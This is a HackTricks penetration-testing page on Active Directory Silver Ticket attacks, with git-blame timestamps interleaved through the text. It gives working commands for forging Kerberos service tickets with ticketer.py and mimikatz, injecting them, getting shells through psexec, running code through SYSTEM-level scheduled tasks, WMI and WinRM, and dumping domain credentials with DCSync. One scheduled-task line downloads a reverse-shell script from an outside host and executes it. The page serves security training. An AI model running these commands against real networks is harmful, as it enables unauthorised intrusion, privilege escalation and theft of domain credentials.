2022-05-24 00:07:19 +00:00
# Silver Ticket
2022-04-28 16:01:33 +00:00
< details >
2024-01-02 18:28:04 +00:00
< summary > < strong > Learn AWS hacking from zero to hero with< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-02 18:28:04 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-10-22 14:44:59 +00:00
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-01-02 18:28:04 +00:00
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-09 00:38:08 +00:00
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
2024-01-02 18:28:04 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-01-10 00:59:55 +00:00
< img src = "../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt = "" data-size = "original" >
2022-05-24 00:07:19 +00:00
2023-05-26 09:43:15 +00:00
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
2022-04-28 16:01:33 +00:00
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2020-07-15 15:43:14 +00:00
2022-05-24 00:07:19 +00:00
## Silver ticket
2020-07-15 15:43:14 +00:00
2024-02-08 03:06:37 +00:00
The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account** , such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user** , typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.
2020-07-15 15:43:14 +00:00
2024-02-08 03:06:37 +00:00
For ticket crafting, different tools are employed based on the operating system:
2022-05-24 00:07:19 +00:00
2024-02-08 03:06:37 +00:00
### On Linux
2020-07-15 15:43:14 +00:00
```bash
2024-02-08 03:06:37 +00:00
python ticketer.py -nthash < HASH > -domain-sid < DOMAIN_SID > -domain < DOMAIN > -spn < SERVICE_PRINCIPAL_NAME > < USER >
export KRB5CCNAME=/root/impacket-examples/< TICKET_NAME > .ccache
python psexec.py < DOMAIN > /< USER > @< TARGET > -k -no-pass
2020-07-15 15:43:14 +00:00
```
2024-02-08 03:06:37 +00:00
### On Windows
2020-07-15 15:43:14 +00:00
```bash
2024-02-08 03:06:37 +00:00
# Create the ticket
mimikatz.exe "kerberos::golden /domain:< DOMAIN > /sid:< DOMAIN_SID > /rc4:< HASH > /user:< USER > /service:< SERVICE > /target:< TARGET > "
2020-07-15 15:43:14 +00:00
2024-02-08 03:06:37 +00:00
# Inject the ticket
mimikatz.exe "kerberos::ptt < TICKET_FILE > "
.\Rubeus.exe ptt /ticket:< TICKET_FILE >
2020-07-15 15:43:14 +00:00
2024-02-08 03:06:37 +00:00
# Obtain a shell
.\PsExec.exe -accepteula \\< TARGET > cmd
```
2020-07-15 15:43:14 +00:00
2024-02-08 03:06:37 +00:00
The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries.
2020-07-15 15:43:14 +00:00
2022-05-24 00:07:19 +00:00
## Available Services
| Service Type | Service Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | < p > HOST< / p > < p > RPCSS< / p > |
| PowerShell Remoting | < p > HOST< / p > < p > HTTP< / p > < p > Depending on OS also:< / p > < p > WSMAN< / p > < p > RPCSS< / p > |
| WinRM | < p > HOST< / p > < p > HTTP< / p > < p > In some occasions you can just ask for: WINRM< / p > |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
| Windows Remote Server Administration Tools | < p > RPCSS< / p > < p > LDAP< / p > < p > CIFS< / p > |
| Golden Tickets | krbtgt |
2021-01-04 22:37:21 +00:00
Using **Rubeus** you may **ask for all** these tickets using the parameter:
* `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
2024-02-08 03:06:37 +00:00
### Silver tickets Event IDs
* 4624: Account Logon
* 4634: Account Logoff
* 4672: Admin Logon
2022-05-24 00:07:19 +00:00
## Abusing Service tickets
2021-01-04 23:12:42 +00:00
In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.
2022-05-24 00:07:19 +00:00
### CIFS
2021-01-04 23:12:42 +00:00
2022-05-24 00:07:19 +00:00
With this ticket you will be able to access the `C$` and `ADMIN$` folder via **SMB** (if they are exposed) and copy files to a part of the remote filesystem just doing something like:
2021-01-04 23:12:42 +00:00
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
You will also be able to obtain a shell inside the host or execute arbitrary commands using **psexec** :
2022-08-13 23:06:40 +00:00
{% content-ref url="../ntlm/psexec-and-winexec.md" %}
[psexec-and-winexec.md ](../ntlm/psexec-and-winexec.md )
2022-05-24 00:07:19 +00:00
{% endcontent-ref %}
2021-01-04 23:12:42 +00:00
2022-05-24 00:07:19 +00:00
### HOST
2021-01-04 23:12:42 +00:00
With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
2021-07-20 16:34:25 +00:00
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
2021-01-04 23:12:42 +00:00
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
2022-05-24 00:07:19 +00:00
### HOST + RPCSS
2021-01-04 23:12:42 +00:00
With these tickets you can **execute WMI in the victim system** :
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
#You can also use wmic
2021-07-26 15:11:57 +00:00
wmic remote.computer.local list full /format:list
2021-01-04 23:12:42 +00:00
```
Find **more information about wmiexec** in the following page:
2022-08-13 23:06:40 +00:00
{% content-ref url="../ntlm/wmicexec.md" %}
[wmicexec.md ](../ntlm/wmicexec.md )
2022-05-24 00:07:19 +00:00
{% endcontent-ref %}
2021-01-04 23:12:42 +00:00
2022-05-24 00:07:19 +00:00
### HOST + WSMAN (WINRM)
2021-01-04 23:12:42 +00:00
With winrm access over a computer you can **access it** and even get a PowerShell:
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
Check the following page to learn **more ways to connect with a remote host using winrm** :
2022-08-13 23:06:40 +00:00
{% content-ref url="../ntlm/winrm.md" %}
[winrm.md ](../ntlm/winrm.md )
2022-05-24 00:07:19 +00:00
{% endcontent-ref %}
2021-01-04 23:12:42 +00:00
{% hint style="warning" %}
Note that **winrm must be active and listening** on the remote computer to access it.
{% endhint %}
2022-05-24 00:07:19 +00:00
### LDAP
2021-01-04 23:12:42 +00:00
With this privilege you can dump the DC database using **DCSync** :
2022-05-24 00:07:19 +00:00
```
2021-01-04 23:12:42 +00:00
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
**Learn more about DCSync** in the following page:
2024-02-08 03:06:37 +00:00
## References
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets ](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets )
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/ ](https://www.tarlogic.com/blog/how-to-attack-kerberos/ )
2022-05-24 00:07:19 +00:00
{% content-ref url="dcsync.md" %}
[dcsync.md ](dcsync.md )
{% endcontent-ref %}
2024-01-10 00:59:55 +00:00
< img src = "../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt = "" data-size = "original" >
2021-01-04 23:12:42 +00:00
2023-05-26 09:43:15 +00:00
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
2022-04-28 16:01:33 +00:00
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
< details >
2024-01-02 18:28:04 +00:00
< summary > < strong > Learn AWS hacking from zero to hero with< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-02 18:28:04 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-10-22 14:44:59 +00:00
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-01-02 18:28:04 +00:00
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-09 00:38:08 +00:00
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
2024-01-02 18:28:04 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >